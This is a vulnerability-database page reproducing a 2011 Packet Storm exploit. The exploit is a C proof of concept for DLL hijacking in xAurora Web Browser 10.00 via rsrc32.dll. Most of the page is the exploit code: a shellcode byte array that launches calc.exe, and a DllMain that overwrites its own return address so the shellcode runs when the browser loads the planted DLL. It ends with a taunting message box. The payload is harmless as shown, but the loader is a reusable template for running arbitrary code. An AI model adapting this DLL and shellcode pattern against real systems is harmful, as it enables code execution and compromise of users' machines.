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xAurora Web Browser 10.00 DLL Hijack

🗓️ 24 Jun 2011 00:00:00Reported by Zer0 ThunderType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

xAurora Web Browser v10.00 DLL Hijack exploit - Vulnerable to DLL Hijacking in rsrc32.dll. Allows execution of unauthorized code leading to system compromise

Code
`/*   
Exploit : xAurora Web Browser v10.00 (rsrc32.dll) DLL Hijacking Exploit  
Software : xAurora Web Browser v10.00 Build 12:10:2005 - Powered By ICTA  
Language : Win32-Assembly Language  
Download : http://groups.google.com/group/sinhala-bloggers/attach/eb2320098a36a156/xAurora2008-RC1-Final-Lite.rar?part=4  
Vuln : DLL Hijack (rsrc32.dll )  
Author : Zer0 Thunder  
Sites : zt-security.net   
E-mail : [email protected]  
  
Greetz : To all Sri Lankan Hackers &and my friends at ZT  
  
Discription : xAurora Web Browser has multiple vulnerabilities becoase it uses most of the IE libraries from windows system  
there for most of the exploits are published for Windows IE works on xAurora Web Browser too. This Exploitation Only Written to Exploit  
the DLL Vulnerability currently on the rsrc32.dll, the exploit will execute the calc & bring out a MsgBox through the Injected DLL  
  
Exploied Result : http://img651.imageshack.us/img651/9456/exploited.jpg  
  
  
*/  
  
#include <windows.h>  
#include <stdlib.h>  
#include <string.h>  
  
  
char shellcode[]="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"  
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"  
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"  
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"  
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"  
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"  
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"  
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"  
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"  
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"  
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56"  
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"  
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"  
"\x2e\x65\x78\x65\x00";  
  
int xAuroraPwnage()  
{  
int *ret;  
ret=(int *)&ret+2;  
(*ret)=(int)shellcode;  
MessageBox(0, "[+] xAurora Pwned By Zer0 Thunder !", "Not so Secured Browser", MB_OK);  
return 0;  
  
}   
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)  
{  
xAuroraPwnage();  
return 0;  
}  
`

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24 Jun 2011 00:00Current
0.2Low risk
Vulners AI Score0.2
24